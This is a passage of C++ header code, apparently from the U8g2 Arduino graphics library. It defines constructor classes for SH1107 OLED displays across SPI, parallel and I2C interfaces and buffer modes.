u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_SH1107_128X80_1_3W_SW_SPI : public U8G2 { public: U8G2_SH1107_128X80_1_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_sh1107_128x80_1(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset); } }; class U8G2_SH1107_128X80_1_3W_HW_SPI : public U8G2 { public: U8G2_SH1107_128X80_1_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_sh1107_128x80_1(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset); } }; class U8G2_SH1107_128X80_1_6800 : public U8G2 { public: U8G2_SH1107_128X80_1_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_sh1107_128x80_1(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_SH1107_128X80_1_8080 : public U8G2 { public: U8G2_SH1107_128X80_1_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_sh1107_128x80_1(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_SH1107_TK078F288_80X128_1_4W_SW_SPI : public U8G2 { public: U8G2_SH1107_TK078F288_80X128_1_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_sh1107_tk078f288_80x128_1(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset); } }; class U8G2_SH1107_TK078F288_80X128_1_4W_HW_SPI : public U8G2 { public: U8G2_SH1107_TK078F288_80X128_1_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_sh1107_tk078f288_80x128_1(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_SH1107_TK078F288_80X128_1_2ND_4W_HW_SPI : public U8G2 { public: U8G2_SH1107_TK078F288_80X128_1_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_sh1107_tk078f288_80x128_1(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_SH1107_TK078F288_80X128_1_3W_SW_SPI : public U8G2 { public: U8G2_SH1107_TK078F288_80X128_1_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_sh1107_tk078f288_80x128_1(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset); } }; class U8G2_SH1107_TK078F288_80X128_1_3W_HW_SPI : public U8G2 { public: U8G2_SH1107_TK078F288_80X128_1_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_sh1107_tk078f288_80x128_1(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset); } }; class U8G2_SH1107_TK078F288_80X128_1_6800 : public U8G2 { public: U8G2_SH1107_TK078F288_80X128_1_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_sh1107_tk078f288_80x128_1(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_SH1107_TK078F288_80X128_1_8080 : public U8G2 { public: U8G2_SH1107_TK078F288_80X128_1_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_sh1107_tk078f288_80x128_1(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_SH1107_128X80_2_4W_SW_SPI : public U8G2 { public: U8G2_SH1107_128X80_2_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_sh1107_128x80_2(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset); } }; class U8G2_SH1107_128X80_2_4W_HW_SPI : public U8G2 { public: U8G2_SH1107_128X80_2_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_sh1107_128x80_2(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_SH1107_128X80_2_2ND_4W_HW_SPI : public U8G2 { public: U8G2_SH1107_128X80_2_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_sh1107_128x80_2(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_SH1107_128X80_2_3W_SW_SPI : public U8G2 { public: U8G2_SH1107_128X80_2_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_sh1107_128x80_2(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset); } }; class U8G2_SH1107_128X80_2_3W_HW_SPI : public U8G2 { public: U8G2_SH1107_128X80_2_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_sh1107_128x80_2(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset); } }; class U8G2_SH1107_128X80_2_6800 : public U8G2 { public: U8G2_SH1107_128X80_2_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_sh1107_128x80_2(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_SH1107_128X80_2_8080 : public U8G2 { public: U8G2_SH1107_128X80_2_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_sh1107_128x80_2(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_SH1107_TK078F288_80X128_2_4W_SW_SPI : public U8G2 { public: U8G2_SH1107_TK078F288_80X128_2_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_sh1107_tk078f288_80x128_2(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset); } }; class U8G2_SH1107_TK078F288_80X128_2_4W_HW_SPI : public U8G2 { public: U8G2_SH1107_TK078F288_80X128_2_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_sh1107_tk078f288_80x128_2(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_SH1107_TK078F288_80X128_2_2ND_4W_HW_SPI : public U8G2 { public: U8G2_SH1107_TK078F288_80X128_2_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_sh1107_tk078f288_80x128_2(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_SH1107_TK078F288_80X128_2_3W_SW_SPI : public U8G2 { public: U8G2_SH1107_TK078F288_80X128_2_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_sh1107_tk078f288_80x128_2(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset); } }; class U8G2_SH1107_TK078F288_80X128_2_3W_HW_SPI : public U8G2 { public: U8G2_SH1107_TK078F288_80X128_2_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_sh1107_tk078f288_80x128_2(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset); } }; class U8G2_SH1107_TK078F288_80X128_2_6800 : public U8G2 { public: U8G2_SH1107_TK078F288_80X128_2_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_sh1107_tk078f288_80x128_2(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_SH1107_TK078F288_80X128_2_8080 : public U8G2 { public: U8G2_SH1107_TK078F288_80X128_2_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_sh1107_tk078f288_80x128_2(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_SH1107_128X80_F_4W_SW_SPI : public U8G2 { public: U8G2_SH1107_128X80_F_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_sh1107_128x80_f(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset); } }; class U8G2_SH1107_128X80_F_4W_HW_SPI : public U8G2 { public: U8G2_SH1107_128X80_F_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_sh1107_128x80_f(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_SH1107_128X80_F_2ND_4W_HW_SPI : public U8G2 { public: U8G2_SH1107_128X80_F_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_sh1107_128x80_f(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_SH1107_128X80_F_3W_SW_SPI : public U8G2 { public: U8G2_SH1107_128X80_F_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_sh1107_128x80_f(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset); } }; class U8G2_SH1107_128X80_F_3W_HW_SPI : public U8G2 { public: U8G2_SH1107_128X80_F_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_sh1107_128x80_f(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset); } }; class U8G2_SH1107_128X80_F_6800 : public U8G2 { public: U8G2_SH1107_128X80_F_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_sh1107_128x80_f(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_SH1107_128X80_F_8080 : public U8G2 { public: U8G2_SH1107_128X80_F_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_sh1107_128x80_f(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_SH1107_TK078F288_80X128_F_4W_SW_SPI : public U8G2 { public: U8G2_SH1107_TK078F288_80X128_F_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_sh1107_tk078f288_80x128_f(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset); } }; class U8G2_SH1107_TK078F288_80X128_F_4W_HW_SPI : public U8G2 { public: U8G2_SH1107_TK078F288_80X128_F_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_sh1107_tk078f288_80x128_f(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_SH1107_TK078F288_80X128_F_2ND_4W_HW_SPI : public U8G2 { public: U8G2_SH1107_TK078F288_80X128_F_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_sh1107_tk078f288_80x128_f(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_SH1107_TK078F288_80X128_F_3W_SW_SPI : public U8G2 { public: U8G2_SH1107_TK078F288_80X128_F_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_sh1107_tk078f288_80x128_f(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset); } }; class U8G2_SH1107_TK078F288_80X128_F_3W_HW_SPI : public U8G2 { public: U8G2_SH1107_TK078F288_80X128_F_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_sh1107_tk078f288_80x128_f(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset); } }; class U8G2_SH1107_TK078F288_80X128_F_6800 : public U8G2 { public: U8G2_SH1107_TK078F288_80X128_F_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_sh1107_tk078f288_80x128_f(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_SH1107_TK078F288_80X128_F_8080 : public U8G2 { public: U8G2_SH1107_TK078F288_80X128_F_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_sh1107_tk078f288_80x128_f(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_SH1107_128X80_1_SW_I2C : public U8G2 { public: U8G2_SH1107_128X80_1_SW_I2C(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_sh1107_i2c_128x80_1(&u8g2, rotation, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_SW_I2C(getU8x8(), clock, data, reset); } }; class U8G2_SH1107_128X80_1_HW_I2C : public U8G2 { public: U8G2_SH1107_128X80_1_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_sh1107_i2c_128x80_1(&u8g2, rotation, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data); } }; class U8G2_SH1107_128X80_1_2ND_HW_I2C : public U8G2 { public: U8G2_SH1107_128X80_1_2ND_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_sh1107_i2c_128x80_1(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset); } }; class U8G2_SH1107_TK078F288_80X128_1_SW_I2C : public U8G2 { public: U8G2_SH1107_TK078F288_80X128_1_SW_I2C(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_sh1107_i2c_tk078f288_80x128_1(&u8g2, rotation, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_SW_I2C(getU8x8(), clock, data, reset); } }; class U8G2_SH1107_TK078F288_80X128_1_HW_I2C : public U8G2 { public: U8G2_SH1107_TK078F288_80X128_1_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_sh1107_i2c_tk078f288_80x128_1(&u8g2, rotation, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data); } }; class U8G2_SH1107_TK078F288_80X128_1_2ND_HW_I2C : public U8G2 { public: U8G2_SH1107_TK078F288_80X128_1_2ND_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_sh1107_i2c_tk078f288_80x128_1(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset); } }; class U8G2_SH1107_128X80_2_SW_I2C : public U8G2 { public: U8G2_SH1107_128X80_2_SW_I2C(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_sh1107_i2c_128x80_2(&u8g2, rotation, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_SW_I2C(getU8x8(), clock, data, reset); } }; class U8G2_SH1107_128X80_2_HW_I2C : public U8G2 { public: U8G2_SH1107_128X80_2_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_sh1107_i2c_128x80_2(&u8g2, rotation, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data); } }; class U8G2_SH1107_128X80_2_2ND_HW_I2C : public U8G2 { public: U8G2_SH1107_128X80_2_2ND_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_sh1107_i2c_128x80_2(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset); } }; class U8G2_SH1107_TK078F288_80X128_2_SW_I2C : public U8G2 { public: U8G2_SH1107_TK078F288_80X128_2_SW_I2C(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_sh1107_i2c_tk078f288_80x128_2(&u8g2, rotation, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_SW_I2C(getU8x8(), clock, data, reset); } }; class U8G2_SH1107_TK078F288_80X128_2_HW_I2C : public U8G2 { public: U8G2_SH1107_TK078F288_80X128_2_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_sh1107_i2c_tk078f288_80x128_2(&u8g2, rotation, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data); } }; class U8G2_SH1107_TK078F288_80X128_2_2ND_HW_I2C : public U8G2 { public: U8G2_SH1107_TK078F288_80X128_2_2ND_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_sh1107_i2c_tk078f288_80x128_2(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset); } }; class U8G2_SH1107_128X80_F_SW_I2C : public U8G2 { public: U8G2_SH1107_128X80_F_SW_I2C(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_sh1107_i2c_128x80_f(&u8g2, rotation, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_SW_I2C(getU8x8(), clock, data, reset); } }; class U8G2_SH1107_128X80_F_HW_I2C : public U8G2 { public: U8G2_SH1107_128X80_F_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_sh1107_i2c_128x80_f(&u8g2, rotation, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data); } }; class U8G2_SH1107_128X80_F_2ND_HW_I2C : public U8G2 { public: U8G2_SH1107_128X80_F_2ND_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_sh1107_i2c_128x80_f(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset); } }; class U8G2_SH1107_TK078F288_80X128_F_SW_I2C : public U8G2 { public: U8G2_SH1107_TK078F288_80X128_F_SW_I2C(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_sh1107_i2c_tk078f288_80x128_f(&u8g2, rotation, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_SW_I2C(getU8x8(), clock, data, reset); } }; class U8G2_SH1107_TK078F288_80X128_F_HW_I2C : public U8G2 { public: U8G2_SH1107_TK078F288_80X128_F_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_sh1107_i2c_tk078f288_80x128_f(&u8g2, rotation, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data); } }; class U8G2_SH1107_TK078F288_80X128_F_2ND_HW_I2C : public U8G2 { public: U8G2_SH1107_TK078F288_80X128_F_2ND_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_sh1107_i2c_tk078f288_80x128_f(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset); } }; class U8G2_SH1107_128X128_1_4W_SW_SPI : public U8G2 { public: U8G2_SH1107_128X128_1_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_sh1107_128x128_1(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, 